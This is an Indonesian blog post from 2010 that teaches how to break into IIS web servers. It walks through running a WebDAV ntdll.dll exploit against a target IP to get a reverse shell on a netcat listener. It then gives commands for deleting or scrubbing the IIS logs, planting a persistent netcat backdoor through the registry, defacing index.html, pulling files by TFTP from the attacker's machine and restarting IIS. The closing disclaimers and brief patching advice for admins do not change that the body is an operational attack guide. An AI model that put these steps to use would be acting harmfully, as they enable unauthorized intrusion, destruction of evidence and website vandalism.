Sunday, July 4, 2010

Hacking Dengan IIS

1) Pendahuluan



Pertama-tama sebelum melakukan, biar saya jelaskan kepada anda bahwa hacking atau deface menggunakan suatu exploit yang sudah ada di internet hanya akan menjadikan anda seorang lamer atau perusak. Anda seringkali mendapati orang-orang ini melakukan deface terhadap ratusan situs. Nah, mereka ini bukanlah hacker, melainkan script kiddies, karena mereka menggunakan code yang dibuat orang lain untuk mendeface situs. Hacker yang sejati adalah orang yang menciptakan code exploit dalam ‘0 day’. Dan saya sarankan kepada anda agar JANGAN PERNAH MENJADI SCRIPT KIDDIES untuk memperoleh sedikit ketenaran dan merasa bangga dengan hal tersebut!!!











2) Adanya Celah Keamanan



Ok cukup sudah !! Mari dimulai. Pertamakali tujuan kita untuk melakukan penetrasi adalah menemukan suatu hole. Webserver IIS berisikan banyak celah keamanan yang jika dieksploitasi dengan sesuai dapat memberikan seorang hacker kendali penuh atas sistem tersebut. Celah keamanan yang umum adalah buffer overflow, yakni mengeksploitasi format string. Apakah “Buffer Overflow” itu adalah soal yang lain dan memerlukan artikel tersendiri. Atau lebih baik silakan anda baca terbitan Phrack 49 (www.phrack.com) dengan judul “Smashing The Stack For Fun and Profit”. Disana istilah buffer overflow dijelaskan berdasarkan sudut pandang Linux.



Ok, karena webserver IIS menyimpan banyak celah keamanan eksploitasi buffer overflow. Hanya dalam 2 tahun terakhir ini e-eye digital defence team (http://www.eeye.com/) melaporkan adanya buffer overflow pada seluruh ekstensi ISAPI pada IIS Webserver.



Sebagai contoh suatu request http://www.iissite.com/a.idq?aaaaaaaaaaaaaaaaaa….aaaa



Sekarang, kapanpun webserver iis mendapatkan request berupa file seperti .idq atau .asp dsb selain .html request dipenuhi oleh file .dll yang spesifik pada webserver. Namun jika seorang hacker mengirimkan request berupa string panjang dari aaa dan mencari angka yang tepat dimana suatu buffer overflow terjadi, maka dia dapat menyesuaikan shell code ditempat tersebut dan menyebabkan shell codenya dieksekusi pada remote machine.



Catatan: Suatu shell code merupakan kode assembly yang memberikan command prompt pada Win 2000 dan shell jika pada Linux.



Tapi saat pertanyaan diajukan mengenai hacking website, kita memerlukan penemuan bug sebelumnya. Kaerna kebanyakan server yang dipatch untuk bug yang ditemukan sebelumnya. Pada dasarnya bug .idq ditemukan dua tahun terakhir tidak akan bekerja hari ini karena kebanyakan server Win 2000 telah dipatch dengan service pack sp3, sp4. Jadi saat ini yang kita perlukan adalah bug terakhir atau dalam dunia perhackingan dinamakan dengan “0day exploit”. Tempat terbaik untuk mencari exploit adalah www.packetstormsecurity.nl, situs ini secara konsisten memuat exploit, code, advisory yang terbaru. Tempat lainnya seperti www.k-otic.com/exploit atau cara terbaik adalah mencari dibagian 0day exploit pada situs kami www.hackersprogrammers.com. Sekarang ini sangat banyak 0day yang sengaja tidak pernah dipublikasikan!!! Dan hanya ditujukan untuk komunitas underground atau orang-orang tertentu yang dikenal sebagai hacker. Untuk mendapatkan exploit yang baik, anda perlu mengadakan kontak dengan hacker yang baik dan berbakat di internet. Dan pilihan terbaik adalah code yang anda buat sendiri (jika anda mampu) maka dengan ini anda mampu menghack berbagai webserver IIS di seluruh dunia!!! J



3) Mengeksploitasi celah keamanan dan Mengendalikan webserver



Ini bagian yang paling menarik. Compile code exploit anda dengan Visual C++ jika berupa kode win c atau gunakan gcc jika berupa kode linux. Jika anda tidak mengetahui hal ini, lebih baik mendownload exploit berbasis GUI dari internet (ini semakin menunjukkan bahwa anda seorang lamer). OK, sekarang sebagai contoh exploit webdave ntdll.dll yang ditemukan 3-4 bulan terakhir. Masih banyaknya server yang vulnerable untuk ini. Terakhir saat salya menuliskan artikel ini ditemukan bug terbaru berupa RPC DCOM oleh LSD. Namun bug RPC DCOM tidak akan bekerja dalam kasus ini karena firewall pada server akan memblok seluruh packet terhadap port 135. Setelah anda melihat-lihat webdave exploit, downloadlah exploit Kralor Webdave. Compile dan download exploit kralor yang berbasis GUI. Shellcode ini berupa jenis yang spesifik. Shellcode yang digunakan exploit Kralor memberikan suatu reverse shell. Artinya setelah berhasil mengeksploitasi server tersebut akan terhubung ke computer anda melalui suatu command shell!!! Jadi anda memerlukan netcat listener untuk ‘mendengar’ port spesifik pada computer anda. Download tool netcat dari internet dan masuk ke DOS prompt, ketik sebagai berikut:



D:\nc>nc -Lvp 6666



Listening on [any] 6666 ….



Well, sekarang computer beraksi sebagai suatu server di port 6666 dan listening terhadap berbagai incoming request. Sekarang compile exploit kralor atau gunakan yang berbasis GUI, kemudian masuk ke DOS prompt dan ketik.



D:\vcproject\webdave\debug>web.exe



[Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]



www.coromputer.net && undernet #coromputer



syntax: D:\WEB.EXE [padding]



Cool !!! Jadi apa yang harus anda lakukan? Masih bingung? OK, saya sarankan, jika anda ingin menghack suatu server, carilah ip dengan melakukan ping dari DOS. Misalkan ip 123.123.123.123 dan ip kita 200.200.200.200. Pastikan netcat menjalankan beberapa port seperti 6666 dan ketik perintah pada Dos Prompt yang baru:



D:\vcproject\webdave\debug>web.exe 123.123.123.123 200.200.200.200 6666



Terdapat padding bit yang berbeda. Dalam kasus exploit berbasis GUI dapat melakukannya sendiri, atau membaca kometar dalam exploit tersebut untuk mendapatkan suatu ide mengenai apa padding bit tersebut dan bagaimana cara menggunakannya. Setelah berhasil mengeksploitasi anda akan mendapatkan shell pada netcat listener anda.



D:\nc>nc -Lvp 6666



Listening on [any] 6666 ….



connect to 200.200.200.200 from 123.123.123.123



Microsoft(R) Windows 2000



(C)Copyright Microsoft Corp 1981-2000.



C:\winnt\system32>



Selamat!! Jadi anda berhasil mengeksploitasi bug ntdll.dll pada remote server. Command prompt telah kita dapatkan pada netcat listener yang merupakan command prompt pada remote server.



4) Apa yang harus dilakuklansetelah melakukan hacking suatu server?



Pertama kali yang terpenting yang harus dilakukan setelah melakukan hacking berbagai server di dunia internet adalah menghapus log tersebut. Setelah kita memiliki HTTP Port 80 untuk menghack, kita perlu menghapus log IIS. Direktorinya dalam hal ini ada di C:\winnt\system32\logfiles . Jadi pada shell tersebut anda tinggal mengetik.



C:\winnt\system32> rmdir /s /q logfiles



Yang menghapus direktori log file, file dan folder yang terdapat dalam direktori tersebut.



Catatan: Ini merupakan cara yang buruk dalam menghapus file log. Admin dapat langsung mengetahui bahwa seseorang telah menghacking servernya. Cara lain yang terbaik adalah masuk kedalam direktori logfile dan cari file log yang spesifik dan menghapus hanya pada baris ayng berisikan ip anda.



Sekarang, setelah megnhapus log file. Anda dapat bermain-main dengan server tersebut. Seluruh server berada dalam kendali anda. Hal terbaik adalah menginstall suatu backdoor pada server tersebut. Membua backdoor senfiri atau sebagai gantinya mengupload netcat apda server tersebut dan menjadinnya listen pada beberapa port yang spesifik dan anda juga dapat menambahkan entri dalam registri jadi dapat tetap dalam keadaan listening bahkan setelah server tersebut direstart.



Langkah berikutnya, misalkan anda ingin mendeface situs tersebut, maka carilah direktori webrootnya. Direktori default biasanya adalah C:\inetpub\wwwroot, disana anda akan menemukan file seperti index.html, index.asp, default.html dan file-file lain seperti itu. Jika ada, maka anda sudah berada pada direktori yang dimaksud. Sekarang tinggal membackup file index.html nya. Perintahnya adalah sebagai berikut:



C:\inetpub\wwwroot> copy index.html indexold.html



C:\inetpub\wwwroot> echo defaced by Chintan Trivedi > index.html



Wah !! Akhirnya anda berhasil mendeface situs tersebut. Jika anda ingin mengupload file anda sendiri ke server tersebut, maka anda harus memiliki TFTP server pada sistem anda. Jalankan dan ketik ketik perintah remote shell berikut:



C:\inetpub\wwwroot> tftp 200.200.200.200 GET index.html



Perintah ini akan mengupload file index.html anda ke web server. Oh ya, contoh diatas dengan anggapan 200.200.200.200 menjadi ip anda. Dan ingatlah mengenai satu hal penting. Webdave exploit dapat menyebabkan crash pada server IIS. Jadi situs tidak akan terbuka dan anda tidak dapat melihat halaman yang terdeface L Jangan khawatir, ada cara untuk merestart IIS pada remote system tersebut, yaitu:



C:\inetpub\wwwroot> iisreset /restart /rebootonerror /timeout:100



Tunggulah sebentar dan bukalah situs tersebut, misalnya www.target.com dan lihat halaman yang telah anda deface!!! Nah ini semua hanyalah satu contoh hacking webserver menggunakan webdave exploit. Terus memperbarui sesi 0day anda di www.hackersprogrammers.com dengan 0day exploit terbaru. Setiap exploit bekerja dengan caranya masing-masing. Anda dapat melihat penjelasan yang tersedia pada exploit tersebut jika anda bukan seorang script kiddie.



5) Kesimpulan



Hal yang perlu saya katakan kepada anda bahwa hacking atau mendeface melalui exploit ‘siap-pakai’ yang tersedia di internet adalah tindakan merusak. Janganlah dilakukan terus menerus. Melakukan hacking suatu server hanya jika anda memang memiliki alasan kuat untuk melakukannya dan anda benar-benar mengetahui apa yang sedang anda lakukan. Jika anda melakukan hacking secara membabi-buta anda hanya akan menyebabkan berbagai kerusakan, kebencian dan tidak memahami bagaimana dunia ini bekerja.



Dan untuk admin: jika anda ingin melindungi server anda dari hacker, maka langkah terbaik adalah tetap mengupdate dengan service pack terakhir yang disediakan oleh Microsoft. Kedua, kapanpun server anda dihack atau terdeface, silakan periksa pada sistem anda, apakah telah terinstall backdoor, rootkit. Kalau ada, hapuslah. Ketiga menjaga direktori file log dari seseorang yang tidak berhak. IIS menyediakan fasilitas untuk mengubah direktori file log. Tapi dalam berbagai kasus, tetap saja pencegahan jauh lebih baik daripada penyembuhan.